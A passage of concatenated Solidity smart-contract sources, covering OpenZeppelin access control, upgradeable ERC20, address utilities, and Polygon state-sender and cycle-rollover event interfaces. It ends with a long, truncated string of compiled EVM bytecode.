*/ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view returns (bool) { return _roles[role].members.contains(account); } /** * @dev Returns the number of accounts that have `role`. Can be used * together with {getRoleMember} to enumerate all bearers of a role. */ function getRoleMemberCount(bytes32 role) public view returns (uint256) { return _roles[role].members.length(); } /** * @dev Returns one of the accounts that have `role`. `index` must be a * value between 0 and {getRoleMemberCount}, non-inclusive. * * Role bearers are not sorted in any particular way, and their ordering may * change at any point. * * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure * you perform all queries on the same block. See the following * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post] * for more information. */ function getRoleMember(bytes32 role, uint256 index) public view returns (address) { return _roles[role].members.at(index); } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant"); _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke"); _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { emit RoleAdminChanged(role, _roles[role].adminRole, adminRole); _roles[role].adminRole = adminRole; } function _grantRole(bytes32 role, address account) private { if (_roles[role].members.add(account)) { emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (_roles[role].members.remove(account)) { emit RoleRevoked(role, account, _msgSender()); } } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.11; import "../../fxPortal/IFxStateSender.sol"; /// @notice Configuration entity for sending events to Governance layer struct Destinations { IFxStateSender fxStateSender; address destinationOnL2; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.11; /// @notice Event sent to Governance layer when a cycle rollover is complete struct CycleRolloverEvent { bytes32 eventSig; uint256 cycleIndex; uint256 timestamp; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.11; pragma experimental ABIEncoderV2; import "./Destinations.sol"; interface IEventSender { event DestinationsSet(address fxStateSender, address destinationOnL2); event EventSendSet(bool eventSendSet); /// @notice Configure the Polygon state sender root and destination for messages sent /// @param fxStateSender Address of Polygon State Sender Root contract /// @param destinationOnL2 Destination address of events sent. Should be our Event Proxy function setDestinations(address fxStateSender, address destinationOnL2) external; /// @notice Enables or disables the sending of events function setEventSend(bool eventSendSet) external; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../../utils/ContextUpgradeable.sol"; import "./IERC20Upgradeable.sol"; import "../../math/SafeMathUpgradeable.sol"; import "../../proxy/Initializable.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20Upgradeable is Initializable, ContextUpgradeable, IERC20Upgradeable { using SafeMathUpgradeable for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ function __ERC20_init(string memory name_, string memory symbol_) internal initializer { __Context_init_unchained(); __ERC20_init_unchained(name_, symbol_); } function __ERC20_init_unchained(string memory name_, string memory symbol_) internal initializer { _name = name_; _symbol = symbol_; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal virtual { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } uint256[44] private __gap; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../proxy/Initializable.sol"; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0; interface IFxStateSender { function sendMessageToChild(address _receiver, bytes calldata _data) external; }
0x608060405234801561001057600080fd5b50600436106102de5760003560e01c80638d17b38311610186578063be26ed7f116100e3578063e4a3011611610097578063f666b2c111610071578063f666b2c11461057f578063f99476c914610587578063fd4e75fa1461058f576102de565b8063e4a3011614610546578063e912b5ee14610559578063ec9fb8da1461056c576102de565b8063ca15c873116100c8578063ca15c87314610518578063d547741f1461052b578063d637ff831461053e576102de565b8063be26ed7f14610508578063befc42d414610510576102de565b8063abd908461161013a578063b4e8a6c41161011f578063b4e8a6c4146104e3578063bab2f552146104f8578063bd5da9ac14610500576102de565b8063abd90846146104c8578063b29414f3146104db576102de565b80639010d07c1161016b5780639010d07c1461049a57806391d14854146104ad578063a217fddf146104c0576102de565b80638d17b3831461047c5780638f649bc514610492576102de565b80636451e45a1161023f578063780469bb116101f357806385790945116101cd57806385790945146104415780638a48b816146104495780638cc2393414610469576102de565b8063780469bb146104065780637d6eae721461041957806380e702da1461042c576102de565b806375b238fc1161022457806375b238fc146103d857806376b077fc146103e0578063779e4a02146103f3576102de565b80636451e45a146103a3578063673a2a1f146103c3576102de565b806336568abe116102965780635bec4cb41161027b5780635bec4cb4146103755780635e4b836b1461037d57806360a50b7014610390576102de565b806336568abe1461034f578063427db53e14610362576102de565b8063248a9ca3116102c7578063248a9ca31461030b5780632f2ff15d14610334578063315e8cd414610347576102de565b80631c3db2ad146102e35780631ee68bb9146102f8575b600080fd5b6102f66102f136600461261f565b610597565b005b6102f661030636600461261f565b6105fc565b61031e61031936600461261f565b6106a3565b60405161032b919061297e565b60405180910390f35b6102f6610342366004612637565b6106b8565b61031e610700565b6102f661035d366004612637565b610724565b6102f6610370366004612637565b610766565b61031e610846565b6102f661038b3660046126f3565b61084c565b6102f661039e36600461261f565b61091e565b6103b66103b136600461261f565b610a0e565b60405161032b91906129e4565b6103cb610aa9565b60405161032b91906128ee565b61031e610b4f565b6102f66103ee366004612527565b610b73565b6102f6610401366004612698565b610c17565b6102f661041436600461257b565b610cac565b6102f6610427366004612543565b610f12565b610434611015565b60405161032b9190612973565b61031e611023565b61045c61045736600461261f565b611029565b60405161032b91906127cd565b6102f661047736600461261f565b611044565b6104846110e1565b60405161032b9291906127e1565b61031e6110f7565b61045c6104a836600461265b565b61111b565b6104346104bb366004612637565b611142565b61031e611160565b6102f66104d6366004612527565b611165565b61031e611209565b6104eb61120f565b60405161032b919061293b565b61031e6112a0565b61031e6112a6565b61031e6112ac565b6102f66112b2565b61031e61052636600461261f565b611381565b6102f6610539366004612637565b611398565b61031e6113d2565b6102f661055436600461265b565b6113d8565b6102f66105673660046125e7565b611538565b6102f661057a36600461272c565b6115eb565b610434611add565b610434611ae6565b61031e611aef565b6105c37fa49807205ce4d355092ef5a8a18f56e8913cf4a201fbe287825b095693c217756104bb611b13565b6105e85760405162461bcd60e51b81526004016105df90612a2e565b60405180910390fd5b6105f9816105f4611b13565b6106f2565b50565b6106287fa49807205ce4d355092ef5a8a18f56e8913cf4a201fbe287825b095693c217756104bb611b13565b6106445760405162461bcd60e51b81526004016105df90612a2e565b4281116106635760405162461bcd60e51b81526004016105df90612f95565b60728190556040517f183aef97e7b27f429c8b058eded39d67efe02ef6876fcd2d1013c9b3b396d4399061069890839061297e565b60405180910390a150565b60009081526033602052604090206002015490565b6000828152603360205260409020600201546106d6906104bb611b13565b6106f25760405162461bcd60e51b81526004016105df90612af9565b6106fc8282611b17565b5050565b7fa95e5e3246938eb1d0d95aa37eaf5b84b831b10fd555a441e23593836972d76f81565b61072c611b13565b6001600160a01b0316816001600160a01b03161461075c5760405162461bcd60e51b81526004016105df90613060565b6106fc8282611b86565b6107927fa49807205ce4d355092ef5a8a18f56e8913cf4a201fbe287825b095693c217756104bb611b13565b6107ae5760405162461bcd60e51b81526004016105df90612a2e565b6000828152606960205260409020805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0383161790556107ed606d83611bf5565b6108095760405162461bcd60e51b81526004016105df90612ca0565b7ffb83a6b13a97addb0c6678cce6754b475be6bc4fc2c52c51f1be48f063b5a484828260405161083a929190612987565b60405180910390a15050565b60675481565b6108787facdbe8822a55450624cde6a504a915514985ffcec4ce4dcd1d9d6e9af2151a186104bb611b13565b6108945760405162461bcd60e51b81526004016105df90612ac2565b606f5460ff16156108b75760405162461bcd60e51b81526004016105df90613029565b606f805460ff1916600117905560005b6108d18280613115565b9050811015610910576109086108e78380613115565b838181106108f157fe5b905060200281019061090391906131f7565b611c01565b6001016108c7565b5050606f805460ff19169055565b61094a7fa49807205ce4d355092ef5a8a18f56e8913cf4a201fbe287825b095693c217756104bb611b13565b6109665760405162461bcd60e51b81526004016105df90612a2e565b600081815260696020526040908190205490517f7910245a229c13b20eef349a54c1b65cb12f226f1777778bba18e913148790f1916109b09184916001600160a01b031690612987565b60405180910390a16000818152606960205260409020805473ffffffffffffffffffffffffffffffffffffffff191690556109f2606d8263ffffffff611d2d16565b6105f95760405162461bcd60e51b81526004016105df90612e5c565b606a6020908152600091825260409182902080548351601f600260001961010060018616150201909316929092049182018490048402810184019094528084529091830182828015610aa15780601f10610a7657610100808354040283529160200191610aa1565b820191906000526020600020905b815481529060010190602001808311610a8457829003601f168201915b505050505081565b60606000610ab7606b611d39565b905060608167ffffffffffffffff81118015610ad257600080fd5b50604051908082528060200260200182016040528015610afc578160200160208202803683370190505b50905060005b82811015610b4757610b1b606b8263ffffffff611d4416565b828281518110610b2757fe5b6001600160a01b0390921660209283029190910190910152600101610b02565b509150505b90565b7fa49807205ce4d355092ef5a8a18f56e8913cf4a201fbe287825b095693c2177581565b610b9f7fa49807205ce4d355092ef5a8a18f56e8913cf4a201fbe287825b095693c217756104bb611b13565b610bbb5760405162461bcd60e51b81526004016105df90612a2e565b610bcc606b8263ffffffff611d5016565b610be85760405162461bcd60e51b81526004016105df90612e5c565b7f40b4682eb75339ed6d38b8616410eeadc61be24c86778de5067c2b0af3c99af68160405161069891906127cd565b610c437ff0983e2b51e2b2ff224c42b1eabc9a0c5025d7bfb63557cd50ce5287048e68086104bb611b13565b610c5f5760405162461bcd60e51b81526004016105df90612c69565b600060725411610c815760405162461bcd60e51b81526004016105df90612ef0565b6072544211610ca25760405162461bcd60e51b81526004016105df906129f7565b6106fc8282611d65565b610cd87ff0983e2b51e2b2ff224c42b1eabc9a0c5025d7bfb63557cd50ce5287048e68086104bb611b13565b610cf45760405162461bcd60e51b81526004016105df90612c69565b8060608167ffffffffffffffff81118015610d0e57600080fd5b50604051908082528060200260200182016040528015610d38578160200160208202803683370190505b50905060005b82811015610ed0576000858583818110610d5457fe5b9050602002016020810190610d699190612527565b9050610d7c606b8263ffffffff611e2716565b610d985760405162461bcd60e51b81526004016105df90612b56565b6000816001600160a01b0316637758f3fa6040518163ffffffff1660e01b815260040160206040518083038186803b158015610dd357600080fd5b505afa158015610de7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e0b919061267c565b90506000816001600160a01b03166370a08231306040518263ffffffff1660e01b8152600401610e3b91906127cd565b60206040518083038186803b158015610e5357600080fd5b505afa158015610e67573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e8b9190612765565b905080858581518110610e9a57fe5b60209081029190910101528015610ec557610ec56001600160a01b038316848363ffffffff611e3c16565b505050600101610d3e565b507fc8f57e398dff9045286e5d19309ada147fe71e7c131252e77b8a7bbf4f7cbdde848483604051610f049392919061285a565b60405180910390a150505050565b610f3e7fa49807205ce4d355092ef5a8a18f56e8913cf4a201fbe287825b095693c217756104bb611b13565b610f5a5760405162461bcd60e51b81526004016105df90612a2e565b6001600160a01b038216610f805760405162461bcd60e51b81526004016105df90612b56565b6001600160a01b038116610fa65760405162461bcd60e51b81526004016105df90612b56565b607080546001600160a01b0380851673ffffffffffffffffffffffffffffffffffffffff199283161790925560718054928416929091169190911790556040517fdd38196ae61206d6b7c944929ca054465eec5bbec09f0d942bd3f5569601e4e59061083a90849084906127e1565b606f54610100900460ff1681565b60665490565b6069602052600090815260409020546001600160a01b031681565b6110707fa49807205ce4d355092ef5a8a18f56e8913cf4a201fbe287825b095693c217756104bb611b13565b61108c5760405162461bcd60e51b81526004016105df90612a2e565b603c81116110ac5760405162461bcd60e51b81526004016105df90612f27565b60678190556040517f3a555adb321830610cf5cc5e6fc952d318ffbd50e22488fad2b324d357e9bea69061069890839061297e565b6070546071546001600160a01b03918216911682565b7ff0983e2b51e2b2ff224c42b1eabc9a0c5025d7bfb63557cd50ce5287048e680881565b6000828152603360205260408120611139908363ffffffff611d4416565b90505b92915050565b6000828152603360205260408120611139908363ffffffff611e2716565b600081565b6111917fa49807205ce4d355092ef5a8a18f56e8913cf4a201fbe287825b095693c217756104bb611b13565b6111ad5760405162461bcd60e51b81526004016105df90612a2e565b6111be606b8263ffffffff611ebf16565b6111da5760405162461bcd60e51b81526004016105df90612ca0565b7f9cc152f4650ca2829a210a21551537f4cc4d48c2611ec06974f835e911921b908160405161069891906127cd565b60665481565b6060600061121d606d611d39565b905060608167ffffffffffffffff8111801561123857600080fd5b50604051908082528060200260200182016040528015611262578160200160208202803683370190505b50905060005b82811015610b4757611281606d8263ffffffff611d4416565b82828151811061128d57fe5b6020908102919091010152600101611268565b60655481565b60675490565b60655490565b6112de7fa95e5e3246938eb1d0d95aa37eaf5b84b831b10fd555a441e23593836972d76f6104bb611b13565b6112fa5760405162461bcd60e51b81526004016105df90612b8d565b607254421161131b5760405162461bcd60e51b81526004016105df906129f7565b6068805460ff191660011790557f4379636c6520526f6c6c6f76657220537461727400000000000000000000000061135281611ed4565b7f7c4626c9076003f3dbc1d2454705ed7b1585024d2a07a0aceaebcbfccfef0fd342604051610698919061297e565b600081815260336020526040812061113c90611d39565b6000828152603360205260409020600201546113b6906104bb611b13565b61075c5760405162461bcd60e51b81526004016105df90612d34565b60725481565b600054610100900460ff16806113f157506113f1611ffa565b806113ff575060005460ff16155b61141b5760405162461bcd60e51b81526004016105df90612d91565b600054610100900460ff16158015611446576000805460ff1961ff0019909116610100171660011790555b61144e61200b565b61145661200b565b606783905561146860006105f4611b13565b6114947fa49807205ce4d355092ef5a8a18f56e8913cf4a201fbe287825b095693c217756105f4611b13565b6114c07ff0983e2b51e2b2ff224c42b1eabc9a0c5025d7bfb63557cd50ce5287048e68086105f4611b13565b6114ec7facdbe8822a55450624cde6a504a915514985ffcec4ce4dcd1d9d6e9af2151a186105f4611b13565b6115187fa95e5e3246938eb1d0d95aa37eaf5b84b831b10fd555a441e23593836972d76f6105f4611b13565b611521826105fc565b8015611533576000805461ff00191690555b505050565b6115647fa49807205ce4d355092ef5a8a18f56e8913cf4a201fbe287825b095693c217756104bb611b13565b6115805760405162461bcd60e51b81526004016105df90612a2e565b6071546001600160a01b03166115a85760405162461bcd60e51b81526004016105df90612c32565b606f805461ff001916610100831515021790556040517fe7123337c95757f19d69c6dcdd015734e22a7750c921506a2d02f487678e8aea90610698908390612973565b6116177ff0983e2b51e2b2ff224c42b1eabc9a0c5025d7bfb63557cd50ce5287048e68086104bb611b13565b6116335760405162461bcd60e51b81526004016105df90612c69565b606f5460ff16156116565760405162461bcd60e51b81526004016105df90613029565b606f805460ff1916600117905560725442116116845760405162461bcd60e51b81526004016105df906129f7565b60005b6116918280613167565b905081101561185a576116d56116a78380613167565b838181106116b157fe5b6116c79260206040909202019081019150612527565b606b9063ffffffff611e2716565b6116f15760405162461bcd60e51b81526004016105df906130bd565b60006116fd8380613167565b8381811061170757fe5b61171d9260206040909202019081019150612527565b90506000816001600160a01b0316637758f3fa6040518163ffffffff1660e01b815260040160206040518083038186803b15801561175a57600080fd5b505afa15801561176e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611792919061267c565b90506117d182306117a38780613167565b878181106117ad57fe5b90506040020160200135846001600160a01b031661208d909392919063ffffffff16565b7f098a32d4cecf08ad08376aa2c1818156533c1324228b654a91efd3395d2c033d6117fc8580613167565b8581811061180657fe5b61181c9260206040909202019081019150612527565b6118268680613167565b8681811061183057fe5b90506040020160200135604051611848929190612841565b60405180910390a15050600101611687565b5060005b61186b6020830183613115565b905081101561188c576118846108e76020840184613115565b60010161185e565b5060005b61189d6040830183613115565b9050811015611aa5576118d56118b66040840184613115565b838181106118c057fe5b90506020020160208101906116c79190612527565b6118f15760405162461bcd60e51b81526004016105df906130bd565b60006119006040840184613115565b8381811061190a57fe5b905060200201602081019061191f9190612527565b90506000816001600160a01b0316637758f3fa6040518163ffffffff1660e01b815260040160206040518083038186803b15801561195c57600080fd5b505afa158015611970573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611994919061267c565b90506000816001600160a01b03166370a08231306040518263ffffffff1660e01b81526004016119c491906127cd565b60206040518083038186803b1580156119dc57600080fd5b505afa1580156119f0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a149190612765565b90508015611a3657611a366001600160a01b038316848363ffffffff611e3c16565b7f39629300238f8a586378f221b19bc06a8b5f3d5c4f0c19693b43f83fb24c43cb611a646040870187613115565b86818110611a6e57fe5b9050602002016020810190611a839190612527565b82604051611a92929190612841565b60405180910390a1505050600101611890565b50611ab660808201606083016125e7565b15611ad057611ad0611acb60808301836131b0565b611d65565b50606f805460ff19169055565b60685460ff1681565b60685460ff1690565b7facdbe8822a55450624cde6a504a915514985ffcec4ce4dcd1d9d6e9af2151a1881565b3390565b6000828152603360205260409020611b35908263ffffffff611ebf16565b156106fc57611b42611b13565b6001600160a01b0316816001600160a0